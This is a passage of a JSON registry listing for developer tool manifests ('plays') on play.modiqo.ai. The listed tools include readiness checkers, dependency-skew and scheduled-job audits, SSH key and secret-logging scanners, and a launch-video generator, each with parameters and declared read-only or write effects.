files."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:f15708c4f6e276bcfc8cab51d642731d5770c6cb8b291e7a83b5500b8fdd05c9","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":9,"kinds":{"api":0,"shell":9,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":8,"fan_out":0,"for_each_steps":0,"complexity":9,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":9}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/bhanu82/onboard-doctor@0.1.2","reference":"bhanu82/onboard-doctor@0.1.2","uri":"https://play.modiqo.ai/bhanu82/onboard-doctor@0.1.2","manifest_uri":"https://play.modiqo.ai/bhanu82/onboard-doctor@0.1.2","name":"onboard-doctor","title":"onboard-doctor","description":"Is this machine ready for the Rote Playoffs? Parallel probes (OS, binaries, versions, login, harness plus play CLI/skill, registry search) join into READY / NOT-READY / INDETERMINATE. A runtime self-check withholds READY if the analyzer fails its own cases. Empty version stdout is UNKNOWN, never a pass. Read-only, zero API keys, needs only python3.","owner":{"kind":"user","slug":"bhanu82"},"registry_organization":"bhanu82","tags":["effect-read-only","domain-agent-operations","job-setup-readiness","audience-developers","onboarding","playoffs"],"primary_domain":"domain-agent-operations","author":"bhanu82","version":"0.1.2","published_at":"2026-09-05T07:23:04.708862+00:00","visibility":"public","quality_score":1,"size_bytes":12318,"license":"MIT","stats":{"downloads":5,"installs":0},"steps":{"count":8,"names":["probe_os","selfcheck","join_ready","probe_auth","probe_bins","probe_harness","probe_registry","probe_versions"]},"parameters":[{"name":"harness","type":"string","required":false,"default":"","description":"Harness binary that must be present (claude, codex, or cursor). Empty accepts any supported harness. A missing focused binary is NOT-READY even if another harness is on PATH.","example":"claude"},{"name":"strict","type":"string","required":false,"default":"false","description":"Set to true to also require node","example":"true"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:6266650856bed425298a106684a2222d6af4d983d56ad12e783b4560eea43a83","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":0,"shell":8,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":7,"fan_out":0,"for_each_steps":0,"complexity":8,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":8}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/secret-logging@1.3.2","reference":"lgoyal6/secret-logging@1.3.2","uri":"https://play.modiqo.ai/lgoyal6/secret-logging@1.3.2","manifest_uri":"https://play.modiqo.ai/lgoyal6/secret-logging@1.3.2","name":"secret-logging","title":"secret-logging","description":"Finds the places a codebase writes a credential into a log. Reports a secret-named value handed to a log call, a whole environment, header, config or request object logged wholesale, a caught error logged with its full request context, and JSON serialisation of an object with secret-shaped keys, across JavaScript, TypeScript, Python, Go and Java-ish sources. Comments and string bodies are masked by a language-aware lexer, so a comment or doc string that merely names a logging call is never a finding, and every argument is screened for redaction first: a boolean, a length, a hash or a deliberate last-four slice is how careful code logs a credential presence, not a leak. tokenizer, tokens, keyboard, secretName, passwordField and API_KEY_HEADER_NAME are not secret values, and process.env.NODE_ENV is not process.env. Read-only, no network, no credentials.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","security-workflows","job-secret-audit","tool-static-analysis","effect-read-only","secret-in-logs","credential-logging","logged-environment","logged-headers","logged-request","redaction","last-four","token-leak","log-hygiene","false-positive-resistant","audience-developers","audience-security-engineers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"1.3.2","published_at":"2026-09-05T06:33:52.867913+00:00","visibility":"public","quality_score":1,"size_bytes":28003,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":3,"names":["verify","analyze","discover"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Directory whose source files should be audited for credentials reaching a log","example":"/Users/you/your-repo"},{"name":"depth","type":"string","required":false,"default":"6","description":"How many directory levels below root to search","example":"3"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:63eab1652e60de04792f57ae92f4d58a379b2cb593321540ac3995778ca9a457","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":8,"for_each_steps":2,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/himanshu-jha/evidence-backed-launch-video@0.7.1","reference":"himanshu-jha/evidence-backed-launch-video@0.7.1","uri":"https://play.modiqo.ai/himanshu-jha/evidence-backed-launch-video@0.7.1","manifest_uri":"https://play.modiqo.ai/himanshu-jha/evidence-backed-launch-video@0.7.1","name":"evidence-backed-launch-video","title":"evidence-backed-launch-video","description":"Turns a product URL into a rendered MP4 launch video with a per-frame evidence ledger. Every run writes a unique, non-overwriting MP4 identity; ffprobe must prove a real MP4 container, at least one video stream and positive duration after rendering, and the final verification step re-reads that media evidence plus size and SHA-256. Presentation trusts only a fresh verification, never restored, stale or arbitrary bytes. Fresh capture and composition directories prevent earlier evidence from masquerading as current. Site copy is HTML-escaped and site font names pass a strict safe-character rule. Evidence mode omits unsupported or repeated beats; illustrative mode labels generic placeholders INVENTED. Child output is bounded and withheld, inherited credentials are stripped, and process groups are stopped. Hyperframes is invoked noninteractively at an exact version. Supplying music additionally requires ffmpeg and any muxing failure fails the run instead of silently returning a mute video. It writes only beneath the resolved output directory and uploads nothing.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["effect-write","audience-developers","domain-startup","tool-browser","video","launch","marketing","evidence"],"primary_domain":"domain-startup","author":"himanshu748","version":"0.7.1","published_at":"2026-09-05T05:10:07.648136+00:00","visibility":"public","quality_score":1,"size_bytes":22788,"license":"MIT","stats":{"downloads":5,"installs":0},"steps":{"count":6,"names":["capture_site","render_video","compose_video","validate_input","verify_artifact","extract_evidence"]},"parameters":[{"name":"url","type":"string","required":false,"default":"","description":"The product page to build the video from, including https://. This is the only source of truth the video may draw on in evidence mode. Leave it out and a small demo page is used, which yields a deliberately thin cut: the beats it cannot back are omitted and listed.","example":"https://example.com"},{"name":"out","type":"string","required":false,"default":"","description":"Absolute path to a directory for the capture, the composition and the MP4. It is created if missing. Leave it out and it lands under ~/launch-video/<site>, never in the play run workspace, which is deleted when the run ends.","example":"/Users/me/launch-video"},{"name":"duration","type":"string","required":false,"default":"30","description":"Target length in seconds, 5 to 180. Beats are divided evenly across whatever frames the evidence supports, so a thin site yields a shorter honest cut rather than a padded one.","example":"30"},{"name":"mode","type":"string","required":false,"default":"evidence","description":"`evidence` omits any beat the site does not back. `illustrative` fills those beats with generic placeholder copy and labels each one INVENTED in the ledger.","example":"evidence"},{"name":"music","type":"string","required":false,"default":"","description":"Absolute path to an audio file to lay under the cut, trimmed to length with a fade at each end. ffprobe is always required to validate the rendered MP4; when music is supplied, the file must be regular and ffmpeg is additionally required. A missing tool or failed mux fails the run rather than silently dropping the track. Leave it out and the cut is silent and reported as such. You supply the track, so its licence stays yours.","example":"/Users/you/Music/bed.mp3"},{"name":"quality","type":"string","required":false,"default":"draft","description":"`draft`, `standard` or `high`. Draft renders in about a minute for a 30s cut; high is materially slower.","example":"draft"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:a60ffdaacb168afa68a4158d1f14d92cde7a92a0bcc524a168ed5f227ed61499","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":6,"kinds":{"api":0,"shell":6,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":6,"width":1,"fan_out":0,"for_each_steps":0,"complexity":6,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":6}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/anvit/mcp-harness-doctor@0.1.0","reference":"anvit/mcp-harness-doctor@0.1.0","uri":"https://play.modiqo.ai/anvit/mcp-harness-doctor@0.1.0","manifest_uri":"https://play.modiqo.ai/anvit/mcp-harness-doctor@0.1.0","name":"mcp-harness-doctor","title":"mcp-harness-doctor","description":"Audits Claude Desktop, Cursor, and Windsurf MCP configs for broken binaries, missing environment variables, malformed JSON, and configuration health.","owner":{"kind":"user","slug":"anvit"},"registry_organization":"anvit","tags":["mcp","claude-desktop","cursor","windsurf","agent-infrastructure","developer-tools"],"primary_domain":"domain-uncategorized","author":"anvit","version":"0.1.0","published_at":"2026-09-05T04:51:36.05075+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":9565,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":3,"names":["verify_servers","discover_configs","render_markdown_report"]},"parameters":[{"name":"custom_config_path","type":"string","required":false,"default":"","description":"Optional absolute path to one additional MCP JSON config file. Relative paths are rejected with exit code 2."},{"name":"demo","type":"boolean","required":false,"default":false,"description":"When true, create deterministic temporary Claude Desktop, Cursor, and Windsurf fixture configs and audit those instead of local defaults."},{"name":"project_root","type":"string","required":false,"default":"","description":"Optional absolute project root used to discover project-scoped Cursor MCP config at .cursor/mcp.json. Relative paths are rejected with exit code 2."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:6822231588b407d00f19204efbaaa5866e5e728b787ef5ec7a28c95d7710c7e4","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"node","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/lgoyal6/dep-skew@0.5.1","reference":"lgoyal6/dep-skew@0.5.1","uri":"https://play.modiqo.ai/lgoyal6/dep-skew@0.5.1","manifest_uri":"https://play.modiqo.ai/lgoyal6/dep-skew@0.5.1","name":"dep-skew","title":"dep-skew","description":"Finds the same dependency declared at different versions inside one dependency set, which is what silently doubles a bundle, produces \"two copies of React\" bugs, and makes upgrades unpredictable. Reads declared ranges from package.json, pyproject.toml, requirements*.txt and Cargo.toml; installed trees are pruned, because node_modules records what a resolver already picked rather than what anyone asked for. Scope is the whole point: ranges are compared only inside one npm/pnpm/yarn or Cargo workspace, or one project's own manifests, so two unrelated repos that both use lodash are never called skew. Findings are ranked by real distance, so a 1.x-vs-3.x split outranks a caret-vs-tilde difference, 0.x minors count as major because semver says they break, and a range already forced by resolutions/overrides or inherited through workspace = true is reported as pinned instead of as a finding. Offline, read-only, no credentials.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","dependency-workflows","job-dependency-audit","tool-semver","effect-read-only","version-skew","duplicate-dependency","two-copies-of-react","bundle-size","semver","version-ranges","monorepo","workspaces","package-json","cargo-toml","pyproject-toml","overrides","resolutions","audience-developers","audience-maintainers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.5.1","published_at":"2026-09-04T22:28:38.95828+00:00","visibility":"public","quality_score":1,"size_bytes":18853,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":2,"names":["analyze","discover"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Directory tree to scan for dependency manifests","example":"/Users/you/your-repo"},{"name":"depth","type":"string","required":false,"default":"6","description":"How many directory levels below root to search","example":"3"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:321f6e774eea96fe44dc8a0e056f030527cfa1dddb3f0fc7fa28c2caf66e3ce3","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":12,"for_each_steps":1,"complexity":2,"apis":[],"tools":[{"name":"bash","kind":"tool","source":"declared","count":1},{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/dotisacat/scheduled-job-graveyard@0.1.4","reference":"dotisacat/scheduled-job-graveyard@0.1.4","uri":"https://play.modiqo.ai/dotisacat/scheduled-job-graveyard@0.1.4","manifest_uri":"https://play.modiqo.ai/dotisacat/scheduled-job-graveyard@0.1.4","name":"scheduled-job-graveyard","title":"scheduled-job-graveyard","description":"Reports the scheduled jobs on THIS machine you have probably forgotten exist: your user crontab, LaunchAgents plists, launchd's own live status for them (pid, last-exit code), and -- names only, content never opened, no sudo -- /etc/crontab, /etc/cron.d, and the system LaunchDaemons directories. On Linux, systemd user timers stand in for LaunchAgents. Every source degrades on its own, and an absent source is reported as a plain, honest absence, never a warning. Each job is classified healthy, target-missing (target no longer exists on disk), stale-suspect (target untouched in stale_days with no recent-run evidence), silent-failure-suspect (launchd's own last exit status is nonzero -- exit 127 often means macOS TCC silently denied folder access), or opaque (command could not be parsed). Only the first absolute-path token in a command is tested, so an interpreter-wrapped job like /bin/zsh script.sh is checked against the interpreter, not the script -- a disclosed blind spot, not a bug. Every label carries -suspect wording, never a certainty, and a nonzero exit is reported as literally \"last exit N -- check it\", never \"broken\" or \"dead\". Nothing here edits a crontab, rewrites a plist, or loads/unloads/signals any job; every fix is printed as text only, for you to act on yourself. Read-only, no sudo, no credentials, no network; needs only python3.","owner":{"kind":"user","slug":"dotisacat"},"registry_organization":"dotisacat","tags":["domain-developer-workflow","job-scheduler-audit","audience-developers","effect-read-only","tool-shell"],"primary_domain":"domain-developer-workflow","author":"Sunzeyu06","version":"0.1.4","published_at":"2026-09-04T18:07:45.743891+00:00","visibility":"public","quality_score":0.875,"size_bytes":22341,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":2,"names":["enum_jobs","classify_jobs"]},"parameters":[{"name":"stale_days","type":"integer","required":false,"default":"365","description":"A target script untouched this long is flagged stale-suspect (30-3650)","example":"365"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:21af725cf1daf09a97fdb290a6f21ee469a883cefd1b2ec466d3808d4cca96d6","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/dotisacat/agent-disk-tax@0.1.3","reference":"dotisacat/agent-disk-tax@0.1.3","uri":"https://play.modiqo.ai/dotisacat/agent-disk-tax@0.1.3","manifest_uri":"https://play.modiqo.ai/dotisacat/agent-disk-tax@0.1.3","name":"agent-disk-tax","title":"agent-disk-tax","description":"What does your agent tooling cost you in DISK, right now, by category, with the single largest offenders named? You get one table of known agent-tooling locations ranked by size, a merged, exact largest-files list across every category, and a judgment-free worktree listing that states only calendar facts like \"untouched 14+ days\", never a removal recommendation. A category that cannot finish walking in its time budget is labeled PARTIAL and its size stated as at least what is shown, never a silent truncation. Every path shown -- category roots, largest files, worktrees -- has your home directory replaced with \"~\"; Claude transcript paths default to filename-only. This is the disk half of our tax family (context-tax covers token cost). Read-only: nothing is ever written, moved, or deleted, not even a cache file of its own; no network calls, no credentials read or transmitted; needs only python3.","owner":{"kind":"user","slug":"dotisacat"},"registry_organization":"dotisacat","tags":["domain-agent-operations","job-disk-audit","audience-developers","effect-read-only"],"primary_domain":"domain-agent-operations","author":"Sunzeyu06","version":"0.1.3","published_at":"2026-09-04T18:06:23.078664+00:00","visibility":"public","quality_score":1,"size_bytes":24240,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":2,"names":["measure_cat","discover_cats"]},"parameters":[{"name":"per_category_seconds","type":"integer","required":false,"default":"20","description":"Time budget per category walk (5-120); partial results are labeled, never silent","example":"20"},{"name":"top_files","type":"integer","required":false,"default":"3","description":"How many of each category's largest files to report (1-10)","example":"3"},{"name":"show_full_transcript_paths","type":"boolean","required":false,"default":"false","description":"Show full per-project Claude transcript paths in the largest-files list instead of filename-only (opt-in -- Claude Code's transcript folder naming embeds the original project/client path)","example":"false"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:f6351d2f18054c03d4d1057b86626bda90acd99022d046494094fddbb8ca803a","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":3,"for_each_steps":1,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/aaryanp/github-repo-committer-issue-check@0.0.3","reference":"aaryanp/github-repo-committer-issue-check@0.0.3","uri":"https://play.modiqo.ai/aaryanp/github-repo-committer-issue-check@0.0.3","manifest_uri":"https://play.modiqo.ai/aaryanp/github-repo-committer-issue-check@0.0.3","name":"github-repo-committer-issue-check","title":"github-repo-committer-issue-check","description":"Top committers and issues opened in the last N days for a GitHub repository","owner":{"kind":"user","slug":"aaryanp"},"registry_organization":"aaryanp","tags":["typescript","github","committers","issues","repo-health","explore","any","aaryanpawar16","language","translator","agent"],"primary_domain":"domain-uncategorized","author":"aaryanp","version":"0.0.3","published_at":"2026-09-04T17:46:19.83348+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":4130,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":4,"names":["auth_github","compute_since","recent_issues","top_committers"]},"parameters":[{"name":"owner","type":"string","required":true,"description":"GitHub repository owner (user or org)"},{"name":"repo","type":"string","required":true,"description":"GitHub repository name"},{"name":"days","type":"string","required":false,"default":"7","description":"How many days back to look for newly opened issues"}],"execution":{"adapters":[{"id":"aaryanp/github","name":"github","version":null,"credential_status":"required"},{"id":"github","name":"github","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:adcb1f2af9ada637807748919cbbe8d47c87da9d224a20d1e3beadcdd484672b","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":2,"shell":1,"browser":0,"auth":1,"other":0},"distinct_kinds":2,"depth":3,"width":2,"fan_out":0,"for_each_steps":0,"complexity":8,"apis":[{"adapter":"github","steps":3,"methods":["repos/list-contributors","search/issues-and-pull-requests"],"display_name":"GitHub v3 REST API","host":"api.github.com","kind":"rest","tools":1108,"fingerprint":"mcp_kmcjZ2U5m8NQMM8491mGhVmZthZ","source":"aaryanp/github","version":"0.0.2","protocol":null,"credentials":[]}],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":1108},"cost":{"api_tokens":7063,"context_tokens":899,"exploration_ms":3877,"saved_per_run":null},"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/rahul/on-me-now@0.1.2","reference":"rahul/on-me-now@0.1.2","uri":"https://play.modiqo.ai/rahul/on-me-now@0.1.2","manifest_uri":"https://play.modiqo.ai/rahul/on-me-now@0.1.2","name":"on-me-now","title":"on-me-now","description":"Answers \"what is actually on me right now on GitHub\" by composing four signals into one verdict per item and printing ONLY the things that genuinely need your action - stale approvals (you approved, the head moved AND real non-merge commits landed after - the same shared rule the rahul/stale-approval Play uses, so the two never disagree), unanswered review threads (they replied, you never came back), sole-reviewer PRs (nobody else can unblock them), and quiet assignments (assigned to you, no comment or commit from you since). Not a dashboard - anything handled or waiting on someone else is dropped entirely. Works for any public GitHub login via the user parameter, so it shows real results even if your own account is quiet. Read-only (GET/read queries only); never posts, comments, resolves, assigns, or merges. Honestly reports anything unreadable as UNREAD and always says how many candidates were checked. Supports mode=sample for a cold start with no GitHub history.","owner":{"kind":"user","slug":"rahul"},"registry_organization":"rahul","tags":["github","code-review","pull-requests","issues","triage","read-only","typescript"],"primary_domain":"domain-uncategorized","author":"Agruskrrishofficial","version":"0.1.2","published_at":"2026-09-04T16:59:03.999871+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":13142,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":1,"names":["check"]},"parameters":[{"name":"user","type":"string","required":false,"default":"","description":"Optional GitHub login to check. Any public username works, so you can point this at a busy maintainer. Default: the authenticated gh user."},{"name":"repo","type":"string","required":false,"default":"","description":"Optional owner/repo to scope every signal to a single repository. Default: all repositories visible to the authenticated gh login."},{"name":"lookback_days","type":"string","required":false,"default":"","description":"Optional lookback window in days limiting how far back candidates are searched. Default: no lookback limit."},{"name":"mode","type":"string","required":false,"default":"live","description":"Set to \"sample\" to see a demo report with fixture data instead of calling GitHub."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:a54ea6275f2754f286db69ceb9d24b80e70f7d2e9f0269142763221f59ec60d6","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/dezloper/ssh-key-audit@0.1.4","reference":"dezloper/ssh-key-audit@0.1.4","uri":"https://play.modiqo.ai/dezloper/ssh-key-audit@0.1.4","manifest_uri":"https://play.modiqo.ai/dezloper/ssh-key-audit@0.1.4","name":"ssh-key-audit","title":"ssh-key-audit","description":"Tells you which SSH and GPG keys on your machine you can delete, which are unprotected, and which are about to lock you out. It reads every key pair in your .ssh folder for its type, file permissions, and whether the private key has a passphrase. It reads your .ssh config to see which keys are actually used, lists GPG keys with the days left before they expire, checks the ssh-agent, and walks your local git clones to learn which SSH hosts you really push to. Then it reports keys nothing refers to, keys with no passphrase, key files other people can read, config entries pointing at a key that no longer exists, expired signing keys, and hosts you use with no key set up. Your key material is never read, parsed, or printed. Read only, no credentials, no network. Use it for key rotation planning: it tells you which keys are unused and safe to remove and which are close to expiry. A missing gpg, an empty ssh-agent, or a check it could not complete is reported as an explicit unknown, never as a pass, and your key material is never read, parsed or printed.","owner":{"kind":"user","slug":"dezloper"},"registry_organization":"dezloper","tags":["domain-engineering","engineering-workflows","audience-developers","effect-read-only","tool-ssh","tool-gpg","job-key-hygiene"],"primary_domain":"domain-engineering","author":"rote clean-room authoring","version":"0.1.4","published_at":"2026-09-04T12:41:21.171072+00:00","visibility":"public","quality_score":1,"size_bytes":11771,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":7,"names":["assess","scan_agent","validate_env","scan_gpg_keys","scan_ssh_keys","scan_ssh_config","scan_git_remotes"]},"parameters":[{"name":"repo_base","type":"string","required":false,"default":".","description":"Directory to walk for git clones, to learn which SSH hosts you actually use. Defaults to the directory you run the play from.","example":"."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:1059d35c4c355d27c70ac234a0acba7ef6716805f66e857d1902895f3bbba9f6","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":7,"kinds":{"api":0,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":5,"fan_out":0,"for_each_steps":0,"complexity":7,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/gautamtalksdev/groundhog@0.2.0","reference":"gautamtalksdev/groundhog@0.2.0","uri":"https://play.modiqo.ai/gautamtalksdev/groundhog@0.2.0","manifest_uri":"https://play.modiqo.ai/gautamtalksdev/groundhog@0.2.0","name":"groundhog","title":"groundhog","description":"Groundhog reads your local Claude Code, Codex, and Cursor session files on this machine and tells you which chores you keep paying to redo. It reads local history only, writes nothing unless you ask, and sends nothing — no network, no accounts, no keys. Needs only python3.","owner":{"kind":"user","slug":"gautamtalksdev"},"registry_organization":"gautamtalksdev","tags":["typescript","local","python3","agent-history","cost","read-only"],"primary_domain":"domain-uncategorized","author":"groundhog","version":"0.2.0","published_at":"2026-09-04T09:50:01.573225+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":53932,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":10,"names":["cost","rank","parse","report","cluster","intents","selfcheck","discover_codex","discover_claude","discover_cursor"]},"parameters":[{"name":"days","type":"integer","required":false,"default":30,"description":"How many days of local session history to scan"},{"name":"top","type":"integer","required":false,"default":3,"description":"How many top repeated chores to show"},{"name":"min_runs","type":"integer","required":false,"default":3,"description":"Minimum times a chore must appear before it is listed"},{"name":"redact","type":"string","required":false,"default":"true","description":"Scrub secret-like strings and truncate evidence (true/false)"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:3caab5d51ff8fb88698139eda6d8603f660c3479bfed63847c18713f23f248f9","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":10,"kinds":{"api":0,"shell":10,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":8,"width":3,"fan_out":0,"for_each_steps":0,"complexity":10,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":10}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/playbookacademy/secrets-leak@1.0.1","reference":"playbookacademy/secrets-leak@1.0.1","uri":"https://play.modiqo.ai/playbookacademy/secrets-leak@1.0.1","manifest_uri":"https://play.modiqo.ai/playbookacademy/secrets-leak@1.0.1","name":"secrets-leak","title":"secrets-leak","description":"Secret exposure scanner for codebases. Scans source code for exposed API keys, passwords, tokens, private keys, and other credentials. Returns a deterministic verdict (CLEAN / LOW_RISK / MEDIUM_RISK / HIGH_RISK / CRITICAL) with redacted findings and prioritized remediation steps. Read-only, no credentials 